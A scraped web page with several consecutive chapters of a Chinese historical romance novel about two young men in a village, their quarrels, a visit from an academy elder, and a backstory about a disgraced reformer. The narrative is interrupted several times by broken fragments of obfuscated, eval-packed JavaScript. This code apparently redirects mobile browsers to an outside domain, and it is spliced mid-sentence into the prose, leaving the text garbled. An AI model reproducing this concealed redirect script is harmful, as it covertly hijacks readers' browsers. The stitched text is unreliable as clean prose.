0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872328|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄聿白说错了词，别人是让他用手帕擦汗，但并没有给他擦汗。不过这句话和怼到眼前的那枚香囊，明显刺激到了孟知彰。 “他们给你擦汗？”话，是从孟知彰从牙缝挤出的。 “擦汗怎么了？”庄聿白嘴硬、脖子硬、话更硬，“他们还要给我喂茶喂水！是我不配么？孟公子……在生气？我不明白了，孟公子，你生哪门子的气？！” 眼前人此时像一个沉寂的黑洞，翻滚着吞噬一切的暗力。 “你不信？！”庄聿白猜不透孟知彰的眼神，但看出了对方不准备就这么善罢甘休，索性豁出去，抬高声量，“我明白了，你不会以为我去眠花宿柳了吧？话说回来，就算本公子我去眠花宿柳，也轮不到你孟公子管！” 明明是你自己不够坦诚，连自己娶亲这样的大事都不告诉我。亏得我还把你当知己、当好兄弟！你不不仁休怪我不义。 庄聿白似乎找到了成功激怒孟知彰的点。便越说越激动。 “孟公子要摆正自己的位置。你我只是单纯的金钱合作关系。你娶你的亲，这个我无权干涉。至于我，堂堂七尺男儿，身强体健的，有点那方面的想法不也很正常？哪怕我哪一日醉死在花丛中，自与你孟公子没有一文钱关系！” 死寂。 沉默在房间内回荡，振聋发聩。 “……” 孟知彰额头青筋暴突，背后的拳头紧了又紧，半日缓出半口气，“我去洗些淀粉。” “……！！！” 院中水声响起，一盆接一盆，没完没了的。 庄聿白坐在床边，愣愣听着。有那么一瞬，他甚至在想是不是自己方才的话有些过了。转念又一想，自己又没错。反思是不可能反思的。 “爱睡不睡，不睡拉到！你不睡，本公子自己睡！”庄聿白越等越生气，索性扯掉衣服，气鼓鼓自己趟去床上。原以为会气得睡不着，谁知头刚沾上枕头就着了过去。 等他再醒来，天已大亮。旁边枕头却无半分动过的痕迹。 虽说睡了一觉，昨夜的气还是没全消。娶亲这么重要的事情都藏着掖着不告诉我，别人送我几方手帕，你却要缠着刨根问底。孟知彰，你未免也太双标了！ 庄聿白下床穿好衣服，手指划过衣襟时顿住，往里掏了掏，昨天的手帕全没了影子。 他原本也不在乎那些帕子香囊，有无对他来说没什么影响。只是孟知彰明里暗里拿这些帕子上纲上线，那他庄聿白也不是那么好人人拿捏的。你越上心，那本公子也就在乎给你看。 谁怕谁。 院子里没有人，水洗淀粉倒是晾得满满当当，想来这一夜的闷气全撒在面团上了。将情绪化成生产力，也没白浪费这无端生的气。这很孟知彰。这很好。 今天是肥堆翻堆的日子。果不其然，庄聿白在菜园看到孟知彰。海上起了风浪，肃穆庄严的海神，此刻正半裸双臂，挥着他的三叉戟同海浪搏斗。一叉又一叉，叉叉入骨。 庄聿白看得正起劲，眼角一抹俗艳之色闯进他的视线。 循影看去，自己那一方绿油油的菜圃旁，不知何时立了个花枝招展的稻草人，彩袖翻飞，衣袂翩翩。 远看就像一个过份招摇的媒婆。近看……近看稻草人不仅戴着香囊，桃粉色绸缎衣袖上绣着退红色桃花，花枝旁还飞着一只粉色小蝴蝶。 32. 远客 物尽其用，孟知彰将庄聿白带回来的手帕子和香囊做成了一个稻草人，正花枝招展立在菜园里。 随他吧。庄聿白看了眼稻草人，暗暗翻个白眼转身回了家。他的气也还没生完。 未及到家，抬头却见一老者在柴门边徘徊。 “请问找谁？”庄聿白上前招呼。 那老者见人来，也忙笑着行礼问好：“小郎君是孟书郎家的？我是三省书院南先生跟前的，来给孟书郎送书和钱，顺便带几句话。” 三省书院来的，远客，自然也是贵客。庄聿白忙将人引至家中，搬出竹凳，还奉了杯茶。 “原本应月末过来的，耽误了两天。这大半个月没来，孟书郎家中越发齐整热闹了。”老者接过茶道了谢，看着满院晾晒的淀粉等物件，不住笑对庄聿白点头。 “您老先坐，他这会在菜园忙着，我去唤他来。” 庄聿白说着拿了块浸湿的巾帕在手上，出门去了菜园。 孟知彰日头地下忙了这半日，想必满身满脸的汗，这副模样见外客，会让人觉得礼数不周，万万使不得。客人是他庄聿白迎进门的，哪怕是来找你孟知彰，也算我庄聿白半个客人。 你孟知彰不能给我庄聿白丢面子。 “孟知彰！有人找！” 庄聿白冷冷唤了句。他原想走近些，可那个五颜六色彩旗飘飘的稻草人非要往他眼里撞，躲都躲不开。想起昨晚之事，庄聿白心中之气忽地又窜上来。 你娶你的亲，我招我的蝶。我不妨碍你娶亲，但我带回的帕子，你凭什么给我扎成稻草人？！ 海神还在那挥着他的三叉戟。他回头看了眼提名带姓唤他大名之人，没急着回应，而是抬起健壮有力的手臂，擦拭下额头细汗，然后继续操起铁叉将手中活计收了个尾。这才不疾不徐款步朝庄聿白走过来。 阳光正好，带着些许微风。 五光十色的稻草人旁站着一位清秀俊朗的小郎君。一闹一静，竟生出活泼气息。小郎君站在绿意葱茏的苗圃旁，眼睛一眨不眨地盯着自己，手里还捏着块打湿的巾帕，只是这脸颊仍然鼓鼓的，想必心中之气仍未平。 “有劳。”孟知彰走近，直接将手递到庄聿白面前，手心向上，等人家递帕子。 “什么？”庄聿白故作不知，眼角夹着怨气斜眸看他。 孟知彰不答。修长有力的手掌伸得更近了些，似乎对方若再僵持，他也不介意继续奉陪下去，哪怕到天荒地老。 冤孽！庄聿白心中虽暗骂。 他看了眼面前这托满阳光的手，赌气将巾帕搭上去。空出的手更是莫名其妙主动接过了铁叉，方便孟知彰擦汗、整理衣衫。 柔韧的葛麻布料将孟知彰额头、肩颈以及手臂上的汗水悉数吸净。健康的小麦肤色，阳光一打，金属色光泽随着肌肉曲线流转，男性荷尔蒙爆棚。 这幅爆棚的景色，尽收庄聿白眸底。 ……好顶。 庄聿白被压制得有些喘不过气，此前的那种高原反应似乎又上来了。真是上头。 孟知彰当着庄聿白的面，将周身汗水慢慢擦净，一点一点，一寸一寸。擦拭后，又微昂下巴，居高临下、慢条斯理地理着衣襟，一双眼睛始终落在眼前这个浑身长满尖刺的小不点身上。 高高在上的孟知彰俯视着眼前人，眼神中有睥睨，有玩味，也有试探，更有此刻的孟知彰尚不理解也没意识到的柔情。 用过的巾帕并没有交回去，孟知彰和铁叉一起拿在手里，正转身准备回去，那满身是刺的人又发了话。 “孟知彰，你等等！” 孟知彰顿步、回身，微转身体，正对着眼前人。 庄聿白故意躲开孟知彰的视线。额前一缕碎发被方才的巾帕擦乱，此时没有镜子，孟知彰自己是看不到的。乱着头发待客，太失礼。 “头低些。”两人身高原本差着一截，可这可气之人竟然还昂首挺胸站在自己面前，这是要闹哪样。庄聿白口中啧一声，“再低些。” 孟知彰接收到指令，玉山倾斜，直直俯下来。阳光从他肩窝打过，射得庄聿白眼前一晃。 恰此时，庄聿白感受到一股温热的气息吹上他脸颊，很轻，很柔，却又那么清晰。 庄聿白陡然呼吸微滞，心跳跟着漏了一拍。 玉山还欲倾得更近……额，可以了。庄聿白忙垫着脚尖，抬手去够那缕不听话的碎发，以免对方继续压过来。 可此时不听话的倒成了自己的手指，庄聿白也不知道怎么了，眼睛和手都不像是自己的，那缕头发理了三五次都没理好，不是偏了就是过了，像专门与自己作对。 庄聿白眉头微皱，抿着唇，细长的手指在孟知彰额头正理得兵荒马乱，此时一双温热的手掌附上来。 “这里乱了，是么？”声音淡淡的，表情也淡淡的，似乎一切不关己事。 触电一般，庄聿白猛地鸣金收兵撤回手。喉结哽了半日也没说出话，只匆忙别开视线，轻轻点下头。 二人从菜园回来时，院中远客正“视察”着这个熟悉又陌生的小院。庄聿白强行接过孟知彰手里的巾帕和工具，让他专心陪客人。 “柳叔来了！路上可还顺利。”孟知彰同来人问过好，又问南先生近况，任凭庄聿白像个勤快小助手似地忙前忙后。 “一切顺利！孟书郎近来可好？南先生今日可是一直念叨书郎你呢。” 柳叔全然没有客人的拘束，倒像是孟知彰的亲近长辈。方才一见面他就在打量庄聿白，见二人夫唱夫随地从院外回来，尤其是孟知彰对待这位哥儿的谨慎周全，越发坚定了他一个“过来人”的猜测。 “这位是书郎的夫郎吧？” 柳叔对庄聿白印象不错，人清爽，做事也清爽，是个很出色的后生。他冲孟知彰挤下眼，意思是你小子福气不浅，旋即又想到什么，不无遗憾叹了半口气。 “南先生听说马上娶亲，还在准备贺礼，不曾想书郎你已经完婚了。我回去告诉南先生，下次来时将他备好的礼物带来。” ……夫郎？孟知彰眸底起了些波澜，没承认，更也没否认。余光时时留意不远处的庄聿白，好在庄聿白此时跟本不在状态中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876574|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄聿白确实不在状态，柳叔提到“娶亲”二字时，他便已经开始宕机。至于后面二人说了什么，根本无暇顾及。什么夫郎不夫郎的，他也只是听到半句影子，并不甚明了。当然，他也不知道夫郎是个什么。 孟知彰给柳叔添了茶：“柳叔略等等，我们特备了一份端午节礼，烦劳给南先生带去。” “是金玉满堂吧。临来时南先生特意交代了此事，怕我忘记，特意写了个条子贴在我水囊上。你家先生早修书与他，提到你家中新研制了一个了不得的吃食，南先生已经盼了好些时日了。”柳树笑着捋胡子，怕孟知彰不信，还特意把水囊掏出来，“南先生很是上心的。” 两包玉片两包金球，上面放着孟知彰亲笔写的“金玉满堂”。这是给南先生的。另有一包玉片，让柳叔路上消磨时间。 眼见中午，庄聿白非要留人用饭，说柳叔大老远来一次，他要亲手做一道面筋炒丝瓜请他老人家尝尝。柳叔原本要去私塾先生那里，一听这话果断留了下来。 除了面筋炒丝瓜，还有一道炝炒坛子肉、一份清炒小菘菜、一碟凉拌黄瓜。主食是孟知彰做的面饼。 新买的坛子肉，庄聿白挑出拳头大一块，切成均匀薄片。肥瘦相间的五花肉片被猪油和时间浸润得刚刚好，瘦肉酥嫩，肥肉清透，葱姜八角爆香后下锅翻炒，香气瞬间激起，温润的肉香裹着高扬的调料香，将人的味蕾彻底打开。 饭间，柳叔频频竖大拇指，对坛子肉更是赞不绝口，等他尝过面筋，胡须眉毛简直要飞起来。 “这……这面筋果然名不虚传！” 第一筷入口便当即断定，南先生一定也会喜欢这面筋。向来饭量一般的柳叔，为了这口面筋竟然吃了两个饼子。 一时饭足汤饱，宾客两欢，柳叔正欲起身告别，忽然一拍脑门：“瞧我这记性，真是老糊涂了。差点把要紧事给忘了。” 南先生先那边先得了消息，今年是新上任的学政，院试时间定在了八月初，让孟知彰早些做准备。这次送来的书籍，南先生特意交代让孟知彰细看看，如有什么问题，和往常一样先记下来，柳叔下次来取书时一并给到南先生。 柳叔走到柴门，停步又道：“你只管专心读书，考试时若找不到合适地方落脚，南先生的意思是可以直接住在书院里。他跟山长打声招呼的事，不麻烦。” “劳烦南先生记挂。”孟知彰郑重行个礼。 “路费什么的，也不用担心。你只要前去赴考，其他的都有先生呢。跟南先生无需那些虚礼，更无需客套。明白？”柳叔絮絮念叨着，唯恐忘记什么嘱托，刚走又回身，对孟知彰笑道，“你家夫郎很不错。南先生见了也会喜欢。可以的话，院试时同往，带给南先生见见？” 送走柳叔，庄聿白终于没忍住：“孟知彰，我不是你表弟么，刚才那柳叔怎么一句一个‘夫郎’称呼我？” 孟知彰没答话，将柳叔给到的抄书银钱递给庄聿白：“一两银子又120文，辛苦收起来。” 庄聿白收了钱袋，嘴上不依不饶：“问你话呢。‘夫郎’是个什么？” 33. 南时 柳叔走后，庄聿白追在孟知彰身后，讨教“夫郎”是什么。 孟知彰背至身后的手指轻捻一下，他看着庄聿白一时也不知该如何跟他解释。 “我知道了。”庄聿白忽然茅塞顿开，咧嘴一笑。露出两颗洁白小虎牙，“在外人看来，我是你表弟。柳叔是府城来的，府城称呼表弟为夫郎，对不对？” 庄聿白强行将这个称谓的逻辑理顺，微扬脸庞，似乎在等孟知彰表扬。 孟知彰看着身量单薄的眼前人。有些事，他尚不确定能否现在明说，他恐这副肩膀担不起太多。 孟知彰眉心微蹙，没作回应。好在庄聿白很快被另外一件事情绊住。 “孟知彰，看不出来啊，你竟然和赫赫有名的三省书院关系这么铁！” 池中待飞之人，与知名书院师生结识，似乎也在情理之中。庄聿白口中啧啧啧，眼睛上下扫视，重新打量起眼前这个日夜相对的读书郎。剑眉星目，矜贵自持，粗衣布衫也遮不住那股由内到外的浩然君子气。 谦谦君子，大抵如此吧。 孟知彰转身正对着庄聿白，虽未言语，眼神中似乎满是“何以见得”“向来如此”。 柳叔的到来打破了二人之间置气对峙的局面。 庄聿白变得有些兴奋，他知道三省书院在府城，府城自是眼下这小小孟家村不能比的，他刚逛过的暨县县城也难望其项背。他很好奇那里有些什么好吃的好玩的，比如人文景致、小食果品、茶楼酒馆什么的。此时全然忘记昨晚的恩怨情仇，只缠着孟知彰给他讲。 “孟兄，府城有没有诸如什么胸口碎大石之类的杂耍？” “茶肆中的茶艺表演都是什么样的？听说每个茶肆都有茶博士？” “那个，府城青楼巷馆的名妓……哎哎——知彰兄你别走啊！” 孟知彰面上不在意，实则暗松一口气，只要庄聿白不追着他提什么“成亲”“夫郎”之事，眼下问什么都可以。他将南先生带给他的书卷小心摆于桌案，拿出三省书院专用的空白书册。 “三省书院”，孟知彰第一次听说这名字，还是两年前早春的一个午后。 当时私塾先生在书房待客，孟知彰正根据先生交代带领学童诵读《大学》，正读到“君子贤其贤而亲其亲，小人乐其乐而利其利”，一小童来叫孟知彰，说先生让他去会客。 孟知彰自从县试和府试中连中两个榜首，先生每每有客来访，都会将他叫去应答一番。对此他早已习以为常。 孟知彰不知道的是，这次要见的客人，将会影响乃至改变他的一生。 杏花始开，暖阳洒满庭院。 先生身旁一位鹤发纶巾的老者，正端坐明堂，对着从院中而来的孟知彰拈须微笑。 “知彰，这位是南先生。” 先生的引荐下，孟知彰冲这位南先生郑重施了一礼。 “晚生孟知彰，见过南先生。” 后来的后来，孟知彰才得知这位就是鼎鼎大名、曾主持元贞变法的南时。 人生境遇就是如此。南时先生是读书人的楷模，在文官清流中享有盛誉，多少人求见其一面而不得。而乡野出身的孟知彰，年少时不仅能亲自瞻其颜，还能得其指点迷津，解惑答疑。 当然此时的孟知彰尚不知道，眼前仙风道骨、悠游世外的南先生，清誉加身的背后是一段沾满血泪与无奈的过往。 代表大恒朝至高权力所在的德胜殿上，锈蚀的铜铃换了一批又一批。七年前那场不见刀光的腥风血雨，至今仍是大恒朝堂上不忍被提及的一幕。 以世家大族为首的守旧派集体上疏，一夜之间几十封奏疏递到景帝案前，桩桩件件全是新法祸国殃民的“铁证”。 恰逢此时京畿大旱，流民汇集京郊，景帝正为此寝食难安。出身萧氏一族的惠妃带着七皇子近身侍奉，母子二人离开勤政殿不久，一道新法触动上苍、降下大旱祸事的诏书便传了出来。 明眼人皆知这是一场有预谋、有组织、有规划的权力斡旋。显然，以南时为首的寒门变法派，终究抵不住世家大族的狠厉围剿。 一夜之间，新法付之一炬，此前所有政令紧急刹停，连底层百姓的额首称赞的保苗法、轻赋法等也全部废除。 岩岩元老，梗之于上；岳岳台谏，哄之于下。“罪魁祸首”南时锒铛入狱。历时三年的新法变革败下阵来，也为时下天灾背了锅。 南时勤学苦读数十载，一朝入得天子们，随后宦海浮沉多年，可谓呕心沥血、励精图治，原以为可以老当益壮如尚能饭否的廉颇，将元贞变法渐行渐稳推行下去。可谁料到头来竟落得个如此下场。 出狱后，南时便一味醉心山水，朝堂事似乎已成前世光景。那年早春，恰逢他的一名学生新任三省书院山长，便以山中景致奇绝和书院独有小食为由，特请他来讲学。 难抵美景美食诱惑，南时欣然前来。闲暇时他也周边悠游，这日便游到了周先生的私塾中。两人早年有过一段同窗之谊，再见已两鬓花白。 闲聊间，周先生频频提及自己那位十四岁便在童生试中连中两个榜首的得意弟子。南时会意，笑着指指他，“那我也见见？” 春日早阳打上满院杏花，明丽疏影中少年神采奕奕立于堂下。 南时拈着胡子频频点头，有那么一瞬，他仿佛看到年少时意气风发的自己。 十四岁两个案首收入囊中，问及为何未及时参加府试时，少年道，“家母亡故，三年守丧”。 南时得知少年家中已无亲人，替人抄书为生，心中不免唏嘘。又看了少年所作文章，直叹小小年纪便风骨初现、文心卓然。字，更是遒劲洒脱。 “君子知微知彰，知柔知刚，万夫所望。” 南时口中喃喃，他背手走近少年身旁，却发现少年身材却比同龄人健硕魁梧得多，一副难得的儒将之姿，仰头笑道，“初次见面，未备礼物。你，可有什么想要的？” 孟知彰立于一旁，得到周先生准许的眼神后，又恭敬向南时行了一礼，“学生听闻先生在三省书院传道授业解惑，想来家中藏书颇丰。” “真是有其师必有其徒。你们师徒二人都惦记我家垫桌腿的那几本书呢！”南时捋着胡子呵呵笑起来，他背起手在厅内挪着步子，清癯矍铄，一袭半旧长衫，一派仙风道骨之姿。 “家中之书，原可以挑几本相送。然书非借不能读，倒不是老朽小气，而是……”南时看着身旁的师徒二人，“而是我想到一个一举多得的好法子。” 三省书院筹备学院书库扩充，山长自然也就求到这位家中藏书如海的恩师面前。南时家中之书多为珍藏孤本，若全部扩充至书院，心中多少有些不舍。 “你的字，老朽很喜欢。我打算与三省书院山长择期挑选一批书籍出来，请你誊写抄录。抄书费用及所需笔墨纸张等，全由书院承担。假若你有喜欢的书，也可以自抄一份留存。不知你意下如何？” 少年眼神越发明亮，他退后半步，而后郑重跪地，向南先生行了一个大礼：“学生孟知彰，谢过先生。” 之后，每半个月南先生身边的柳叔便会来给孟知彰送来抄录之书，以及抄书之资。和录好之书一起带走的，还有孟知彰录书过程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888521|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中遇到的“疑惑条-子”。当然，半月后柳叔便会将南先生的“解惑条-子”带给孟知彰。 春去冬来，这书一抄就是两年有余。而孟知彰，也成了南时名副其实的编外“条-子”学生。 条-子教学过程中，孟知彰逐步接触到圣贤书之外的大千世界。 孟知彰知道了科举跃龙门是步步走近那权力至巅，他原非长袖善舞之人，自然无意于那权力背后的功名利禄。但南先生告诉他，时代的尘埃落在每一个人身上，那都是背不动、跨不过的沉重巨石。每一道政令，在当权者不过文书诏令一纸，但下到百姓身上，却是一场割肉动骨的动荡浩劫。 比如赋税每加一层，百姓丢失土地、卖儿鬻女成为流民的概率就会攀升三层。若再遇上旱涝蝗灾，十室九空、饿殍满地的人间惨象，便会比比皆是。 孟知彰虽读圣贤书，也自认对窗外事知晓一二，但此前百姓疾苦似乎只停在冷冰冰书页上的文字，与他隔着千山万水，隔着时间尘雾。“黎民百姓”对他而言似乎也只是一个模糊又遥远的群体。 但南先生的话点醒了他。 “黎民百姓，是你是我，是我的父辈祖辈，也是你的后世子孙，是你身边的乡邻亲朋，更是你亲近之人，你心中最为在乎之人。” 天地不仁，以万物为刍狗；圣人不仁，以百姓为刍狗。并不是谁弱谁有理，一味祈求上位者可怜是没用的。痴心上位者能感同身受，本身就是个伪命题，是个笑话。 上位者的视线根本看不到底层蝼蚁，即便听见或瞥见一眼，那也是被无数双手处理到变了形、走了样的景象，也只是为了达成某种政治目的，让上位者看到的“定制景象”。 你我读圣人书、食百姓俸，所能做的是尽自己所能，努力去靠近决策中心，哪怕只是将一些政令变得缓和，压在百姓身上时能让他们有喘息可能，也就不枉平生所学，不枉自己寒窗苦读这十数年。 “若能将惠及民生的举措上达圣听、形成诏令、遍行天下，看着黎民百姓因此衣暖饭足、安居乐业，也才是科举求仕的意义所在。” 孟知彰将珍藏的一沓沓解惑条子收好，仔细放回书架的木格中。 庄聿白听着孟知彰举重若轻地讲着与南先生的这段“忘年交”，听着眼前人的人生理想与政治抱负，他内心像被什么东西撞-击着，一下又一下，细看时似乎还萦绕着淡淡忧伤。但若让他描述这到底是股什么心绪，他一时又很难说清，只觉酸酸胀胀、朦朦胧胧。 孟知彰像是察觉出庄聿白眉心的情绪波动。 “南先生在京城生活多年，曾在回信中描述过那里的繁华。” 果然，换到这个话题，庄聿白的眼睛渐渐亮起来：“如何繁华？” 孟知彰将手负于身后：“雕车竞驻于天街，宝马争驰于御路。金翠耀目，罗琦飘香。花光满路，何限春游；箫鼓喧空，几家夜宴……” 庄聿白正听得激动，却听孟知彰长叹一声，无奈摇起头，口中直道：“可惜了，可惜。” “可惜什么？”庄聿白一头雾水，眼睛瞬间瞪圆。 孟知彰余光看了眼庄聿白，神情不无遗憾：“府城繁华，虽不及京城，但新奇物件遍地，吃食小玩意等也是不胜枚举。只可惜琥珀兄吃不到，也玩不到了。” “为什么？”庄聿白急了，站起来时险些将身后的椅子带倒。 孟知彰一把扶正椅背，一本正经看着庄聿白：“昨日，你不是说要搬走么？” “我……”庄聿白一时语塞。 孟知彰：“对了，你何时走？我让大有去送你。” 34. 玉佩 柴门响了，乡邻来问订的金玉满堂何时好，他们等着端午探亲时带上。 明日午后，到族长家统一领取。 庄聿白看着孟知彰将人送走，又好整以暇走回来，担心对方再提什么搬走不搬走的话茬，忙冲到簸箕旁一顿忙活。 “孟兄，明日中午要将乡邻的准备出来对吧。那现在坯片要切出来晾晒了。” “刚才说到哪了？”孟知彰似乎并不准备善罢甘休。他专心挽着袖口，视线并没落向庄聿白。 “什么刚才？”庄聿白心虚地摆上一副诧异表情，觉得糊弄不过去，忙又装作恍然大悟。 “哦，刚才说……刚才说玉片。孟兄赶紧来帮忙啦！再不快些，明天乡邻们的玉片就来不及了。除了乡邻，还有你学中同窗的呢！若误了时间，当心他们怪你。” 乡邻金球72包，昨日他去吴家时孟知彰自己在家已经将金球做出来了。玉片做够124包就可以。庄聿白留出玉片所需淀粉量，剩下的淀粉则用干净的细麻葛口袋装起来放进米缸。随后小板凳一放，将虾户送来的虾篓拎至石榴树旁，开始认真剥虾挑线。 整个过程，庄聿白把自己搞得忙到飞起，并不是他多喜欢干活，而是他怕自己一停下来，孟知彰就凑过来提什么搬走不搬走的事。做金球玉片是正事，正常人看人家忙正事，都不会好意思来打扰吧。 庄聿白心里并不想搬走。他先来的，总得讲究个先来后到吧。 何况成亲又怎么了？刘玄德不是说了么，‘兄弟如手足，妻子如衣服。衣服破，尚可缝；手足断，安可续？’ 即便他孟知彰成了亲，我庄聿白也是他孟知彰最好的兄弟。 忙碌的一天总算过去，庄聿白全程埋头干活，一个眼神也不敢给孟知彰。 晚上就寝，一如往常伸出胳膊等孟知彰帮他捆绑上手脚，也只垂着眼皮，不敢对上人家的视线。 “成亲的日子还没定。”孟知彰吹熄了灯，床身轻微“吱嘎”声中平稳躺在枕上。 哪壶不开提哪壶。 “哦。”庄聿白应了声，他脸朝里，眼睛瞪得滴溜溜圆。身体随着床身轻微晃动，后背却越来越紧，半分不敢动。 “那边是后母做主，收了聘礼，却始终不定婚期。不知是家中不同意还是……还是他本人不同意。” “哦。”除了应着，庄聿白实在不知说些什么。活爹，这话题没完了是吧。 良久，背后身翻了个身，声音淡淡：“你怎么看？” 哈？我怎么看？庄聿白不作声，黑暗中忙闭上了眼。 * 第二日牛大有一早就来帮忙，金球玉片全部炸制打包后，先用炭车将学中预定的金球和玉片送去私塾。孟知彰随车回来又将乡邻的送至族长家。 族长家早摆起几张长桌，十来个乡邻已等在那里，或揣钱袋，或拎粮米。族长家长子，也就是柳婶的丈夫，帮着孟知彰清点钱米等。 柳婶是个热心肠，前后跟着忙活。她见庄聿白体弱，便将他请至厢房，还端了杯茶：“那边人挤人的，有知彰他和大有他们跟着就好了。” 闲话间，柳婶特意提到上次庄聿白跟他说预防虫害的法子，说果然灵验，幸亏他发现的早，不然这次的菜又要遭殃了。 柳婶上下打量着庄聿白，眼中越看越喜欢。这孩子样貌气质倒在其次，主要是会做生意，还会栽瓜种菜，这样好的哥儿，可不多见。不，不是不多见，是根本没见过。 “你来知彰家这些时日，一直没得空问问你。” 柳婶只开了个头，庄聿白立马明白接下来会有什么问题等着。果不其然，柳婶给庄聿白添了茶，便将他今年几岁，家住哪里，是否婚配等一股脑问了出来。 庄聿白面上讪讪，大抵是人到了一定年岁都爱做这牵线搭桥、说媒保亲的活儿。他正想着怎么应答，只听门外轻咳一声。 “咚咚咚”几声敲门声后，孟知彰放重脚步走进来。 孟知彰先同柳婶问好，谢她帮忙照看庄聿白，然后一双探究又带着攻击性的眼睛直直落在庄聿白身上。 庄聿白被看得后背发紧。不等他搞明白孟知彰要做什么，一双修长有力的手，当着柳婶的面，便紧紧抓上自己手腕。 薄茧轻覆，温暖干燥又带着不容置疑的霸道。 庄聿白被一股力从椅子上扶起来，更恰当地说，应该是轻而易举拉起来。 “忙好了。我们回家。”孟知彰道。 庄聿白余光瞥到柳婶，如他所想，对方的视线牢牢粘在自己正被孟知彰捉住的这截手腕上。脸上的表情阴晴难定，尴尬又热闹。 庄聿白有些难为情。哎哎哎！两个大男人拉拉扯扯成何体统。他试着扭动下手腕，谁知这铁嵌一般牢牢焊在自己手腕上。 真是一天天使不完的牛劲，抓我抓这么牢，干甚！ “好的，表哥，我们回家。”庄聿白磨着牙应承孟知彰，甚至转过脸去瞪孟知彰，让他注意下自己的言行举止。这可不是家中床上，可以由着你绑住手脚。当着柳婶的面，俩人在这撕扯不清，多难堪。 谁知孟知彰却根本看也不看他。庄聿白只能假装若无其事地笑着同柳婶告别：“柳婶我们先告辞了。今日这茶，很好喝。” 厢房走至院中，孟知彰才将手放开。 “今日共得乡邻银钱784文，米粮98斤。”孟知彰将钱袋递到庄聿白手上，“已经清点过。” “孟知彰，你抓我手腕做什么？很痛的。”庄聿白小声抱怨孟知彰，院子中还有其他人，他怕孟知彰再拉抓他，忙揣了钱袋跑去找牛大有说话。 牛大有将米粮帮忙送回来就离开了，庄聿白正打算将乡邻的和学中带回的1328文一起入账，此时门外来了人。 是吴家的赵管家。 今天是他们家老太太寿辰的正日子，管家刚忙完家中事就被安排来给庄聿白送东西，说是他们家老太太亲自交代的，一定要送他亲手交到小郎君手上。 赵管家笑着同庄聿白说明来意，便招呼小厮赶忙从车上搬东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894999|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 先是搬出两匹素色布料，一匹月白，一匹天青，赵管家说虽不是什么名贵布料，做件衣服日常穿穿也是使得的。 又抬出来两个大食盒，打开后里面放着几个小食盒。 “这是家中做的几盒细面果子，小郎君也试试我们厨房的手艺；这两盒是外头采买的，自己吃或者送人都成。”赵管家将一个木质透雕食盒小心捧过来，“这一盒是宾客特意从府城“尘端食肆”订购的小食，有嵌字豆糖，也有荷花酥，每样放了些，也给小郎君和孟书郎尝尝鲜。” 庄聿白豆芽野菜吃了这许多天，忽然一堆好吃的摆在面前，哪能不心动，早一脸欢喜走上前去看。 孟知彰视线扫了眼庄聿白，先一步走到管家跟前，伸手将那些食盒接过来，打开盖子让庄聿白一样一样细细看。 花色各异的精巧果子，有寿桃蔬果形状的，有时令花卉的。包装最精巧的是嵌字豆糖，方寸间竟然嵌着一个比划繁复的“夀“字。齐整划一的蜜色扁圆豆糖，十枚一簇包进洁白雪笺纸，又落一枚“尘端食肆”绯红小印，清新可爱。 孟知彰将雪笺纸打开，拣了一枚让庄聿白尝尝：“尘端食肆的吃食很是难得。这豆糖南先生喜欢，有一次得了一份分了些与先生，我有幸尝过。” 庄聿白接了这枚带着某人手指温度的豆糖含在口中，确实好吃，清甜明亮，醇香有余。 赵管家见二人喜欢便放了心，他摸摸袖子似乎在积攒什么勇气，又笑道： “还有我们家小公子也然给我代为谢谢小郎君，他为给老太太祈福在佛前跪着抄了两天经，虽辛苦些，但能为老太太尽孝心受再多累那也是应该的。今日强撑着在席间坐着，给老太太过完寿，回去好生将养了。但听说我要来给小郎君送东西，临来特意交代给小郎君带件东西。” “你家小公子给我送东西？！” 这个庄聿白着实没想到，他设计让那吴用吃足了苦头，吴用恐怕恨骂自己还来不及，怎么还会让人给自己送礼物？ 赵管家眉头皱了下，似乎有些为难，但还是从袖子中掏出一块掌心大小的环形玉佩：“这是我们小公子随身佩戴的缠枝牡丹和田玉佩，说送与小郎君当做谢礼。” 玉佩？！ 一听玉佩，庄聿白更来了兴致。黄金有价玉无价，玉在古代都是身份地位的象征。虽不知吴用安的什么心，自己能拥有一块，也不错。他自打穿越过来，见过最值钱的东西就是最近赚的这些碎银子。 